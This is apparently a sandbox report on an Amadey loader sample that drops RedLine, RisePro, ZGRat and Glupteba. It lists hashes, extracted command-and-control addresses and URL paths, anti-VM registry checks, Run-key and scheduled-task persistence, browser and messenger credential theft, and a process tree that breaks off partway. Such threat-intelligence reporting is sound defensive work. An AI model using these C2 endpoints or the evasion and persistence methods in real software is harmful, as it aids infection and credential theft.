amadey | b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f

Analysis

max time kernel
68s
max time network
157s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
01-04-2024 21:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
Size

1.8MB
MD5

fd635877f33f6c636d53a381d787faa7
SHA1

7c9b5bf7e911db262bc7262a259153cfb67de589
SHA256

b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f
SHA512

b470c71316d1c5abcad94e9df798f238f1a809e734c9af674c642533d32ec8efc4cefa2056cbb66459557978cd85a2601d16c3e8e6051b4f6d1a1ba13f0741e0
SSDEEP

49152:wDz2Hu3fzPpvjK6vi8Bv5dB+4abTUyDe:EC2LJjbZBvdYwyD

Score

10^/10

amadey glupteba redline risepro zgrat livetraffic dropper evasion infostealer loader persistence rat spyware stealer themida trojan

Malware Config

Extracted

Family

amadey

Version

4.18

http://193.233.132.56

Attributes

install_dir
09fd851a4f
install_file
explorha.exe
strings_key
443351145ece4966ded809641c77cfa8
url_paths
/Pneh2sXQk0/index.php

rc4.plain

Extracted

Family

amadey

Version

4.17

http://185.215.113.32

Attributes

install_dir
00c07260dc
install_file
explorgu.exe
strings_key
461809bd97c251ba0c0c8450c7055f1d
url_paths
/yandex/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

4.185.137.132:1632

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 4 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000985001\alex1234.exe	family_zgrat_v1
behavioral2/memory/5724-495-0x0000000000C30000-0x0000000000DEC000-memory.dmp	family_zgrat_v1
C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe	family_zgrat_v1
C:\Users\Admin\AppData\Local\Temp\1001053001\goldprimeldlldf.exe	family_zgrat_v1

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/6212-1282-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/6212-1312-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/6252-1319-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1001039001\redlinepanel.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe	family_redline
C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe	family_redline
C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe	family_redline
behavioral2/memory/1236-633-0x0000000000400000-0x0000000000450000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

explorha.exe72d41b8ae8.exeamert.exeexplorgu.exeexplorha.exeb637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	72d41b8ae8.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	amert.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe

Blocklisted process makes network request 2 IoCs

Processes:

rundll32.exerundll32.exe

flow pid process

39 5816 rundll32.exe
46 3744 rundll32.exe
Downloads MZ/PE file

flow	pid	process
39	5816	rundll32.exe
46	3744	rundll32.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

explorha.exeamert.exeexplorha.exeb637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe72d41b8ae8.exeexplorgu.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	72d41b8ae8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	72d41b8ae8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe

Executes dropped EXE 8 IoCs

Processes:

explorha.exe72d41b8ae8.exego.exeamert.exeexplorgu.exeexplorha.exealex1234.exeredlinepanel.exe

pid process

1088 explorha.exe
4888 72d41b8ae8.exe
3752 go.exe
2028 amert.exe
4536 explorgu.exe
5584 explorha.exe
5724 alex1234.exe
5680 redlinepanel.exe

pid	process
1088	explorha.exe
4888	72d41b8ae8.exe
3752	go.exe
2028	amert.exe
4536	explorgu.exe
5584	explorha.exe
5724	alex1234.exe
5680	redlinepanel.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

explorha.exeb637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exeexplorha.exe72d41b8ae8.exeamert.exeexplorgu.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3084248216-1643706459-906455512-1000\Software\Wine	explorha.exe
Key opened	\REGISTRY\USER\S-1-5-21-3084248216-1643706459-906455512-1000\Software\Wine	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
Key opened	\REGISTRY\USER\S-1-5-21-3084248216-1643706459-906455512-1000\Software\Wine	explorha.exe
Key opened	\REGISTRY\USER\S-1-5-21-3084248216-1643706459-906455512-1000\Software\Wine	72d41b8ae8.exe
Key opened	\REGISTRY\USER\S-1-5-21-3084248216-1643706459-906455512-1000\Software\Wine	amert.exe
Key opened	\REGISTRY\USER\S-1-5-21-3084248216-1643706459-906455512-1000\Software\Wine	explorgu.exe

Loads dropped DLL 3 IoCs

Processes:

rundll32.exerundll32.exerundll32.exe

pid process

5740 rundll32.exe
5816 rundll32.exe
3744 rundll32.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
5740	rundll32.exe
5816	rundll32.exe
3744	rundll32.exe

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Pictures\IHuaBZpTu5PVVPzx1DmIX9JG.exe	themida
behavioral2/memory/1792-1227-0x00007FF6218F0000-0x00007FF6226CB000-memory.dmp	themida
behavioral2/memory/1792-1285-0x00007FF6218F0000-0x00007FF6226CB000-memory.dmp	themida
behavioral2/memory/1792-1313-0x00007FF6218F0000-0x00007FF6226CB000-memory.dmp	themida
C:\Users\Admin\Pictures\E3wHrWTvEDN3AOUWx0G9uP9a.exe	themida

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

explorha.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3084248216-1643706459-906455512-1000\Software\Microsoft\Windows\CurrentVersion\Run\go.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000044001\\go.exe"	explorha.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3084248216-1643706459-906455512-1000\Software\Microsoft\Windows\CurrentVersion\Run\72d41b8ae8.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000042001\\72d41b8ae8.exe"	explorha.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

4 pastebin.com
68 pastebin.com
116 pastebin.com
139 pastebin.com
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

19 api.myip.com
84 ipinfo.io
137 api.myip.com
138 ipinfo.io
157 api.myip.com
158 ipinfo.io

flow	ioc
4	pastebin.com
68	pastebin.com
116	pastebin.com
139	pastebin.com

flow	ioc
19	api.myip.com
84	ipinfo.io
137	api.myip.com
138	ipinfo.io
157	api.myip.com
158	ipinfo.io

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000044001\go.exe	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exeexplorha.exeamert.exeexplorgu.exeexplorha.exe

pid process

4428 b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
1088 explorha.exe
2028 amert.exe
4536 explorgu.exe
5584 explorha.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

alex1234.exe

description pid process target process

PID 5724 set thread context of 2596 5724 alex1234.exe RegAsm.exe

description	pid	process	target process
PID 5724 set thread context of 2596	5724	alex1234.exe	RegAsm.exe

Drops file in Windows directory 2 IoCs

Processes:

amert.exeb637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe

description	ioc	process
File created	C:\Windows\Tasks\explorgu.job	amert.exe
File created	C:\Windows\Tasks\explorha.job	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 12 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4416	5388	WerFault.exe	swiiiii.exe
4504	5816	WerFault.exe	koooooo.exe
7320	6572	WerFault.exe	RvtNAbR3p6maqu8EjjsfOEi1.exe
7904	6204	WerFault.exe	ooiSsRYwBFUjZYgGisrOByWY.exe
6992	5696	WerFault.exe	RegAsm.exe
6332	5696	WerFault.exe	RegAsm.exe
3644	6544	WerFault.exe	YsvA9j1eBH2LxlP38NtrY0TU.exe
2516	2292	WerFault.exe	RegAsm.exe
4948	2292	WerFault.exe	RegAsm.exe
7300	5192	WerFault.exe	f0MzUYyqSGSTqPRiMwPumjoL.exe
7340	5168	WerFault.exe	RegAsm.exe
7540	5168	WerFault.exe	RegAsm.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

2356 schtasks.exe
1836 schtasks.exe
5552 schtasks.exe

pid	process
2356	schtasks.exe
1836	schtasks.exe
5552	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

Processes:

b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exeexplorha.exemsedge.exemsedge.exemsedge.exemsedge.exeamert.exerundll32.exepowershell.exemsedge.exeidentity_helper.exeexplorgu.exeexplorha.exe

pid	process
4428	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
4428	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
1088	explorha.exe
1088	explorha.exe
4912	msedge.exe
4912	msedge.exe
3760	msedge.exe
3760	msedge.exe
2816	msedge.exe
2816	msedge.exe
2280	msedge.exe
2280	msedge.exe
2028	amert.exe
2028	amert.exe
5816	rundll32.exe
5816	rundll32.exe
5816	rundll32.exe
5816	rundll32.exe
5816	rundll32.exe
5816	rundll32.exe
5816	rundll32.exe
5816	rundll32.exe
5816	rundll32.exe
5816	rundll32.exe
5284	powershell.exe
5284	powershell.exe
5284	powershell.exe
5620	msedge.exe
5620	msedge.exe
5436	identity_helper.exe
5436	identity_helper.exe
4536	explorgu.exe
4536	explorgu.exe
5584	explorha.exe
5584	explorha.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

Processes:

msedge.exe

pid	process
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5284 powershell.exe

description	pid	process
Token: SeDebugPrivilege	5284	powershell.exe

Suspicious use of FindShellTrayWindow 30 IoCs

Processes:

b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exego.exemsedge.exe

pid	process
4428	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
3752	go.exe
3752	go.exe
3752	go.exe
3752	go.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

Processes:

go.exemsedge.exe

pid	process
3752	go.exe
3752	go.exe
3752	go.exe
3752	go.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe
3760	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exeexplorha.exego.exemsedge.exemsedge.exemsedge.exe

description	pid	process	target process
PID 4428 wrote to memory of 1088	4428	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe	explorha.exe
PID 4428 wrote to memory of 1088	4428	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe	explorha.exe
PID 4428 wrote to memory of 1088	4428	b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe	explorha.exe
PID 1088 wrote to memory of 4888	1088	explorha.exe	72d41b8ae8.exe
PID 1088 wrote to memory of 4888	1088	explorha.exe	72d41b8ae8.exe
PID 1088 wrote to memory of 4888	1088	explorha.exe	72d41b8ae8.exe
PID 1088 wrote to memory of 3088	1088	explorha.exe	explorha.exe
PID 1088 wrote to memory of 3088	1088	explorha.exe	explorha.exe
PID 1088 wrote to memory of 3088	1088	explorha.exe	explorha.exe
PID 1088 wrote to memory of 3752	1088	explorha.exe	go.exe
PID 1088 wrote to memory of 3752	1088	explorha.exe	go.exe
PID 1088 wrote to memory of 3752	1088	explorha.exe	go.exe
PID 3752 wrote to memory of 4496	3752	go.exe	msedge.exe
PID 3752 wrote to memory of 4496	3752	go.exe	msedge.exe
PID 4496 wrote to memory of 2152	4496	msedge.exe	msedge.exe
PID 4496 wrote to memory of 2152	4496	msedge.exe	msedge.exe
PID 3752 wrote to memory of 2264	3752	go.exe	msedge.exe
PID 3752 wrote to memory of 2264	3752	go.exe	msedge.exe
PID 2264 wrote to memory of 3120	2264	msedge.exe	msedge.exe
PID 2264 wrote to memory of 3120	2264	msedge.exe	msedge.exe
PID 3752 wrote to memory of 3760	3752	go.exe	msedge.exe
PID 3752 wrote to memory of 3760	3752	go.exe	msedge.exe
PID 3760 wrote to memory of 2036	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 2036	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe
PID 3760 wrote to memory of 4836	3760	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe
"C:\Users\Admin\AppData\Local\Temp\b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4428
- C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
  "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Users\Admin\AppData\Local\Temp\1000042001\72d41b8ae8.exe
    "C:\Users\Admin\AppData\Local\Temp\1000042001\72d41b8ae8.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    PID:4888
- - C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
    "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
    3⤵
    PID:3088
- - C:\Users\Admin\AppData\Local\Temp\1000044001\go.exe
    "C:\Users\Admin\AppData\Local\Temp\1000044001\go.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/account
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4496
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff8b0073cb8,0x7ff8b0073cc8,0x7ff8b0073cd8
        5⤵
        
        PID:2152
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2028,4353280188857880712,13223572815651561135,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2036 /prefetch:2
        5⤵
        
        PID:4548
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2028,4353280188857880712,13223572815651561135,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2816
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2264
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8b0073cb8,0x7ff8b0073cc8,0x7ff8b0073cd8
        5⤵
        
        PID:3120
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1708,11638841177893512069,13459402472124074867,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1904 /prefetch:2
        5⤵
        
        PID:3148
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1708,11638841177893512069,13459402472124074867,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1988 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:3760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0x84,0x10c,0x7ff8b0073cb8,0x7ff8b0073cc8,0x7ff8b0073cd8
        5⤵
        
        PID:2036
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1912 /prefetch:2
        5⤵
        
        PID:4836
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
